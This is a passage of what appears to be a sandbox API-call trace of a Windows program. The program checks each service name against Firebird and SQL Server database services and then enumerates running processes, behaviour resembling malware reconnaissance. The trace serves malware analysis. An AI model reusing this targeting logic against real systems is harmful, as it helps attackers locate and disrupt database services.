(lpString="Dhcp") returned 4 [0142.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0142.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0142.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0142.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0142.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0142.159] lstrlenW (lpString="Dnscache") returned 8 [0142.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0142.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0142.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0142.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0142.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0142.159] lstrlenW (lpString="DoSvc") returned 5 [0142.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0142.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0142.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0142.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0142.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0142.159] lstrlenW (lpString="DPS") returned 3 [0142.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0142.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0142.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0142.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0142.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0142.159] lstrlenW (lpString="DusmSvc") returned 7 [0142.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0142.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0142.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0142.160] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0142.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0142.160] lstrlenW (lpString="EventLog") returned 8 [0142.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0142.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0142.160] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0142.160] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0142.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0142.160] lstrlenW (lpString="EventSystem") returned 11 [0142.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0142.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0142.160] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0142.160] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0142.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0142.160] lstrlenW (lpString="FontCache") returned 9 [0142.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0142.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0142.160] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0142.160] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0142.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0142.160] lstrlenW (lpString="gpsvc") returned 5 [0142.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0142.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0142.160] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0142.160] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0142.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0142.161] lstrlenW (lpString="iphlpsvc") returned 8 [0142.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0142.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0142.161] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0142.161] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0142.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0142.161] lstrlenW (lpString="KeyIso") returned 6 [0142.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0142.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0142.161] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0142.161] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0142.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0142.161] lstrlenW (lpString="LanmanServer") returned 12 [0142.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0142.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0142.161] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0142.161] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0142.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0142.161] lstrlenW (lpString="LanmanWorkstation") returned 17 [0142.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.161] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0142.161] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0142.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0142.161] lstrlenW (lpString="lfsvc") returned 5 [0142.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0142.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0142.162] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0142.162] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0142.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0142.162] lstrlenW (lpString="lmhosts") returned 7 [0142.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0142.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0142.162] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0142.162] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0142.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0142.162] lstrlenW (lpString="LSM") returned 3 [0142.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0142.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0142.162] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0142.162] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0142.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0142.162] lstrlenW (lpString="MapsBroker") returned 10 [0142.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0142.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0142.162] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0142.162] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0142.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0142.162] lstrlenW (lpString="MpsSvc") returned 6 [0142.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0142.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0142.162] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0142.162] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0142.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0142.163] lstrlenW (lpString="NcbService") returned 10 [0142.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0142.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0142.163] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0142.163] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0142.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0142.163] lstrlenW (lpString="netprofm") returned 8 [0142.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0142.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0142.163] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0142.163] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0142.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0142.163] lstrlenW (lpString="NlaSvc") returned 6 [0142.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0142.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0142.163] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0142.163] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0142.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0142.163] lstrlenW (lpString="nsi") returned 3 [0142.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0142.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0142.163] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0142.163] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0142.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0142.163] lstrlenW (lpString="PcaSvc") returned 6 [0142.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0142.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0142.164] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0142.164] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0142.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0142.164] lstrlenW (lpString="PlugPlay") returned 8 [0142.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0142.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0142.164] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0142.164] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0142.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0142.164] lstrlenW (lpString="Power") returned 5 [0142.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0142.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0142.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0142.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0142.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0142.164] lstrlenW (lpString="ProfSvc") returned 7 [0142.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0142.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0142.164] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0142.164] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0142.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0142.164] lstrlenW (lpString="RpcEptMapper") returned 12 [0142.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.164] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0142.165] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0142.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0142.165] lstrlenW (lpString="RpcSs") returned 5 [0142.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0142.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0142.165] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0142.165] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0142.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0142.165] lstrlenW (lpString="SamSs") returned 5 [0142.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0142.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0142.165] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0142.165] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0142.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0142.165] lstrlenW (lpString="Schedule") returned 8 [0142.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0142.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0142.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0142.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0142.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0142.165] lstrlenW (lpString="SecurityHealthService") returned 21 [0142.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0142.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0142.165] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0142.165] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0142.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0142.166] lstrlenW (lpString="SENS") returned 4 [0142.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0142.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0142.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0142.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0142.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0142.166] lstrlenW (lpString="ShellHWDetection") returned 16 [0142.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0142.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0142.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0142.166] lstrlenW (lpString="Spooler") returned 7 [0142.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0142.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0142.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0142.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0142.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0142.166] lstrlenW (lpString="SSDPSRV") returned 7 [0142.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0142.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0142.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0142.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0142.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0142.167] lstrlenW (lpString="StateRepository") returned 15 [0142.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0142.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0142.167] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0142.167] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0142.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0142.167] lstrlenW (lpString="SysMain") returned 7 [0142.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0142.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0142.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0142.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0142.167] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0142.167] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0142.177] Process32FirstW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.178] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0142.179] lstrlenW (lpString="System") returned 6 [0142.179] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0142.180] lstrlenW (lpString="smss.exe") returned 8 [0142.180] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.181] lstrlenW (lpString="csrss.exe") returned 9 [0142.181] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0142.182] lstrlenW (lpString="wininit.exe") returned 11 [0142.182] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.183] lstrlenW (lpString="csrss.exe") returned 9 [0142.183] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0142.184] lstrlenW (lpString="winlogon.exe") returned 12 [0142.184] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0142.185] lstrlenW (lpString="services.exe") returned 12 [0142.185] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0142.186] lstrlenW (lpString="lsass.exe") returned 9 [0142.186] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.187] lstrlenW (lpString="svchost.exe") returned 11 [0142.187] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0142.188] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0142.188] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0142.189] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0142.189] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.190] lstrlenW (lpString="svchost.exe") returned 11 [0142.190] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0142.191] lstrlenW (lpString="dwm.exe") returned 7 [0142.191] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.192] lstrlenW (lpString="svchost.exe") returned 11 [0142.192] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.193] lstrlenW (lpString="svchost.exe") returned 11 [0142.193] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.193] lstrlenW (lpString="svchost.exe") returned 11 [0142.194] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.194] lstrlenW (lpString="svchost.exe") returned 11 [0142.195] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.195] lstrlenW (lpString="svchost.exe") returned 11 [0142.195] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.196] lstrlenW (lpString="svchost.exe") returned 11 [0142.196] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.197] lstrlenW (lpString="svchost.exe") returned 11 [0142.197] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.198] lstrlenW (lpString="svchost.exe") returned 11 [0142.198] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.200] lstrlenW (lpString="svchost.exe") returned 11 [0142.200] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0142.201] lstrlenW (lpString="spoolsv.exe") returned 11 [0142.201] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, 